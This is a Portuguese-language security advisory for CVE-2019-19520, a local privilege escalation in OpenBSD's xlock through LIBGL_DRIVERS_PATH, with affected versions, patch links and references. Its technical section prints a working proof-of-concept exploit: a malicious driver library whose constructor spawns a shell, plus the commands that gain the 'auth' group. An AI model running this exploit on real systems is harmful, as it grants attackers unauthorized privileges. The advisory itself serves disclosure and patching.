For the English version of this alert, click here.
Allele Security Alert
ASA-2019-00651
Identificador(es)
ASA-2019-00651, CVE-2019-19520
Título
Escalação de privilégios via comando xlock
Fabricante(s)
The OpenBSD Project
Produto(s)
OpenBSD
Versão(ões) afetada(s)
OpenBSD versões 6.6 anteriores a errata 009
OpenBSD versões 6.5 anteriores a errata 020
Versão(ões) corrigida(s)
OpenBSD versão 6.6 errata 009
OpenBSD versão 6.5 errata 020
OpenBSD versões 6.6 com o seguinte patch aplicado:
009_mesaxlock.patch.sig
https://ftp.openbsd.org/pub/OpenBSD/patches/6.6/common/009_mesaxlock.patch.sig
OpenBSD versions 6.5 com o seguinte patch aplicado:
020_mesaxlock.patch.sig
https://ftp.openbsd.org/pub/OpenBSD/patches/6.5/common/020_mesaxlock.patch.sig
Prova de Conceito
Sim
Descrição
O xlock no OpenBSD permite que os usuários locais obtenham os privilégios do grupo de autenticação fornecendo uma variável de ambiente LIBGL_DRIVERS_PATH, porque o xenocara/lib/mesa/src/loader/loader.c manipula incorretamente dlopen.
Detalhes técnicos
No OpenBSD, /usr/X11R6/bin/xlock é instalado por padrão e tem o ID do grupo “auth”, não o ID do usuário definido; a verificação a seguir está incompleta e deve usar issetugid():
101 _X_HIDDEN void * 102 driOpenDriver(const char *driverName) 103 { ... 113 if (geteuid() == getuid()) { 114 /* don't allow setuid apps to use LIBGL_DRIVERS_PATH */ 115 libPaths = getenv("LIBGL_DRIVERS_PATH");
Um atacante local pode explorar essa vulnerabilidade e chamar dlopen() em seu próprio driver para obter os privilégios do grupo “auth”:
$ id uid=32767(nobody) gid=32767(nobody) groups=32767(nobody) $ cd /tmp $ cat > swrast_dri.c << "EOF" #include <paths.h> #include <sys/types.h> #include <unistd.h> static void __attribute__ ((constructor)) _init (void) { gid_t rgid, egid, sgid; if (getresgid(&rgid, &egid, &sgid) != 0) _exit(__LINE__); if (setresgid(sgid, sgid, sgid) != 0) _exit(__LINE__); char * const argv[] = { _PATH_KSHELL, NULL }; execve(argv[0], argv, NULL); _exit(__LINE__); } EOF $ gcc -fpic -shared -s -o swrast_dri.so swrast_dri.c $ env -i /usr/X11R6/bin/Xvfb :66 -cc 0 & [1] 2706 $ env -i LIBGL_DRIVERS_PATH=. /usr/X11R6/bin/xlock -display :66 $ id uid=32767(nobody) gid=11(auth) groups=32767(nobody)
Créditos
Qualys Research Team
Referência(s)
OpenBSD 6.6 Errata
https://www.openbsd.org/errata66.html
OpenBSD 6.5 Errata
https://www.openbsd.org/errata65.html
009_mesaxlock.patch.sig
https://ftp.openbsd.org/pub/OpenBSD/patches/6.6/common/009_mesaxlock.patch.sig
020_mesaxlock.patch.sig
https://ftp.openbsd.org/pub/OpenBSD/patches/6.5/common/020_mesaxlock.patch.sig
Constrain honouring of path-related environment variables based upon
https://github.com/openbsd/xenocara/commit/5886ab525a096cb2504f9e3ce1cd4fd79fb1e414
Full Disclosure: Authentication vulnerabilities in OpenBSD
https://seclists.org/fulldisclosure/2019/Dec/14
oss-security – Authentication vulnerabilities in OpenBSD
https://www.openwall.com/lists/oss-security/2019/12/04/5
Bugtraq: Authentication vulnerabilities in OpenBSD
https://seclists.org/bugtraq/2019/Dec/8
CVE-2019-19520
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-19520
CVE-2019-19520
https://nvd.nist.gov/vuln/detail/CVE-2019-19520
Se encontrou algum erro neste alerta ou deseja uma análise compreensiva, entre em contato.
Última modificação: 11 fevereiro 2020